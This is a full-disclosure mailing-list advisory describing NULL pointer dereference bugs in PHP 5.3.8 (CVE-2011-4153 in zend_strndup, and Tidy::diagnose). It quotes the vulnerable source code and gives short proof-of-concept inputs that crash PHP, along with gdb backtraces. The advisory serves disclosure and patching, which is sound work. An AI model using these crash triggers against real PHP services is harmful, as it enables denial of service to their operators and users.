-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 [ PHP 5.3.8 Multiple vulnerabilities ] Author: Maksymilian Arciemowicz Website: http://cxsecurity.com/ Date: 14.01.2012 CVE: CVE-2011-4153 (zend_strndup) Original link: http://cxsecurity.com/research/103 [--- 1. Multiple NULL Pointer Dereference with zend_strndup() [CVE-2011-4153] ---] As we can see in zend_strndup() - -zend_alloca.c--- ZEND_API char *zend_strndup(const char *s, uint length) { char *p; p = (char *) malloc(length+1); if (UNEXPECTED(p == NULL)) { return p; <=== RETURN NULL } if (length) { memcpy(p, s, length); } p[length] = 0; return p; } - -zend_alloca.c--- zend_strndup() may return NULL in php code, many calls to zend_strndup() dosen't checks returned values. In result, places like: - -zend_builtin_functions.c--- ZEND_FUNCTION(define) { char *name; int name_len; zval *val; zval *val_free = NULL; zend_bool non_cs = 0; int case_sensitive = CONST_CS; zend_constant c; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sz|b", &name, &name_len, &val, &non_cs) == FAILURE) { return; } ... c.flags = case_sensitive; /* non persistent */ c.name = zend_strndup(name, name_len); <======== MAY RETURN NULL c.name_len = name_len+1; c.module_number = PHP_USER_CONSTANT; if (zend_register_constant(&c TSRMLS_CC) == SUCCESS) { RETURN_TRUE; } else { RETURN_FALSE; } } - -zend_builtin_functions.c--- - -PoC code--- [cx@82 /www]$ ulimit -a socket buffer size (bytes, -b) unlimited core file size (blocks, -c) unlimited data seg size (kbytes, -d) 524288 file size (blocks, -f) unlimited max locked memory (kbytes, -l) unlimited max memory size (kbytes, -m) 40000 open files (-n) 11095 pipe size (512 bytes, -p) 1 stack size (kbytes, -s) 65536 cpu time (seconds, -t) unlimited max user processes (-u) 5547 virtual memory (kbytes, -v) 40000 swap size (kbytes, -w) unlimited [cx@82 /www]$ cat define.php <?php define(str_repeat("A",$argv[1]),"a"); ?> - -PoC code--- to see difference [cx@82 /www]$ php define.php 8999999 Out of memory [cx@82 /www]$ php define.php 9999999 Segmentation fault: 11 (gdb) bt #0 0x28745eb0 in strrchr () from /lib/libc.so.7 #1 0x0822d538 in zend_register_constant (c=0xbfbfcfb0) at /usr/ports/lang/php5/work/php/Zend/zend_constants.c:429 #2 0x08251e0e in zif_define (ht=2, return_value=0x28825a98, return_value_ptr=0x0, this_ptr=0x0, return_value_used=0) at /usr/ports/lang/php5/work/php/Zend/zend_builtin_functions.c:688 #3 0x0826dba6 in zend_do_fcall_common_helper_SPEC (execute_data=0x29401040) at zend_vm_execute.h:316 There are others places, where zend_strndup() is used: - -1-- ext/soap/php_sdl.c if (sdl->is_persistent) { new_enc->details.ns = zend_strndup(ns, ns_len); new_enc->details.type_str = strdup(new_enc->details.type_str); } else { new_enc->details.ns = estrndup(ns, ns_len); new_enc->details.type_str = estrdup(new_enc->details.type_str); } - -1-- - -2-- ext/standard/syslog.c BG(syslog_device) = zend_strndup(ident, ident_len); openlog(BG(syslog_device), option, facility); RETURN_TRUE; - -2-- - -3-- ext/standard/browscap.c } else { /* Other than true/false setting */ Z_STRVAL_P(new_property) = zend_strndup(Z_STRVAL_P(arg2), Z_STRLEN_P(arg2)); Z_STRLEN_P(new_property) = Z_STRLEN_P(arg2); } new_key = zend_strndup(Z_STRVAL_P(arg1), Z_STRLEN_P(arg1)); zend_str_tolower(new_key, Z_STRLEN_P(arg1)); zend_hash_update(Z_ARRVAL_P(current_section), new_key, Z_STRLEN_P(arg1) + 1, &new_property, sizeof(zval *), NULL); free(new_key); - -3-- - -4-- ext/oci8/oci8.c if (alloc_non_persistent) { connection = (php_oci_connection *) ecalloc(1, sizeof(php_oci_connection)); connection->hash_key = estrndup(hashed_details.c, hashed_details.len); connection->is_persistent = 0; } else { connection = (php_oci_connection *) calloc(1, sizeof(php_oci_connection)); connection->hash_key = zend_strndup(hashed_details.c, hashed_details.len); connection->is_persistent = 1; } - -4-- - -5-- ext/com_dotnet/com_typeinfo.c const_name = php_com_olestring_to_string(bstr_ids, &c.name_len, codepage TSRMLS_CC); c.name = zend_strndup(const_name, c.name_len); efree(const_name); c.name_len++; /* include NUL */ SysFreeString(bstr_ids); /* sanity check for the case where the constant is already defined */ if (zend_get_constant(c.name, c.name_len - 1, &exists TSRMLS_CC)) { if (COMG(autoreg_verbose) && !compare_function(&results, &c.value, &exists TSRMLS_CC)) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Type library constant %s is already defined", c.name); } free(c.name); ITypeInfo_ReleaseVarDesc(TypeInfo, pVarDesc); continue; } - -5-- - -6-- main/php_open_temporary_file.c /* On Unix use the (usual) TMPDIR environment variable. */ { char* s = getenv("TMPDIR"); if (s && *s) { int len = strlen(s); if (s[len - 1] == DEFAULT_SLASH) { temporary_directory = zend_strndup(s, len - 1); } else { temporary_directory = zend_strndup(s, len); } return temporary_directory; } - -6-- [--- 2. Tidy::diagnose() NULL pointer dereference ---] Class tidy, may provide to null pointer dereference using tidy lib. 1287 static PHP_FUNCTION(tidy_diagnose) 1288 { 1289 TIDY_FETCH_OBJECT; 1290 1291 if (tidyRunDiagnostics(obj->ptdoc->doc) >= 0) { 1292 tidy_doc_update_properties(obj TSRMLS_CC); 1293 RETURN_TRUE; 1294 } 1295 1296 RETURN_FALSE; 1297 } - -PoC--- (gdb) r -r '$nx=new Tidy("*");$nx->diagnose();' The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /usr/bin/php -r '$nx=new Tidy("*");$nx->diagnose();' [Thread debugging using libthread_db enabled] PHP Warning: tidy::__construct(): Cannot Load '*' into memory in Command line code on line 1 Program received signal SIGSEGV, Segmentation fault. 0x00007fffedfaff87 in prvTidyReportMarkupVersion () from /usr/lib/libtidy-0.99.so.0 - -PoC--- - -Result--- cx@cx64:~$ php -r '$nx=new Tidy("*");$nx->diagnose();' PHP Warning: tidy::__construct(): Cannot Load '*' into memory in Command line code on line 1 Segmentation fault - -Result--- I do not consider this vulnerability as a having security impact other as DoS. [--- 3. Contact ---] Author: Maksymilian Arciemowicz Email: max {AA\TT cxsecurity |D|0|T] com http://cxsecurity.com/ GPG: http://cxsecurity.com/office.cxsecurity.txt - -- Best Regards Maksymilian Arciemowicz (CXSecurity.com) pub 4096R/D6E5B530 2010-09-19 uid Maksymilian Arciemowicz (cx) <max@xxxxxxxx> sub 4096R/58BA663C 2010-09-19 -----BEGIN PGP SIGNATURE----- iQIcBAEBAgAGBQJPEWClAAoJEIO8+dzW5bUwEwMP/iMy28mySwi9JAslAx91Yt1D A01QLdC7bTGM+Z2D6mTpAV2kKc5WYES2El5sV/CeM9ybO5v+CQ+m8PlV17vlL9dR yXQaXb1kuqyhHNgTpccu5HgAbzcq+0MvaKIyPFTYbxBEzA2ohlkhm7gvMi4AHHPi NPlzaGcZ+pvYnW7QXtI0GJQLEJREcpdOhjYtPzNF2yKhinbileXN8+A36lLjzA0T 3j26hyGqRE5jVTgTqFVTvPShK1qhTDqqnE9Qbwlaxsk6vRPzXE504cxBJm7Sk38F tNtUh8BqAYYQYYCZnmuiYkVWyq5IwGYWn6RI8XkUZIhhL7dcQ8wOJU823mwmTk74 NgG9Us+8z/C359v/9BhLuXNfN6hySvavDFBKdWrDk66yK6GxioIjjrR/AsIQ5pHA 5/hTZqwO2XpBVSqs48QgNoBHkyWgtgwiAFgs85dYI0hCpQmq6huPzRC8zxAM7rOs tCoCxlPK5P7vvXjCOVDmmPNRL45EixivKT3S++tYytOq06Blij/SpvP7Qk4q1Raj hAWSu7/YjMVzUpwZLRHq4JBFcThadg8txHBnQtEg5Uw5BMqMtgEqMZudx0lwLBpJ KKxF2U62tNJ/B2uum3HWGeX533uui1FZ0uAb5MGNPhkZaAoKYZzk8YI9D6ULObH8 HrbtOZg32rR8PqX7LMZk =BNm2 -----END PGP SIGNATURE-----
Attachment:
0xD6E5B530.asc
Description: application/pgp-keys
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/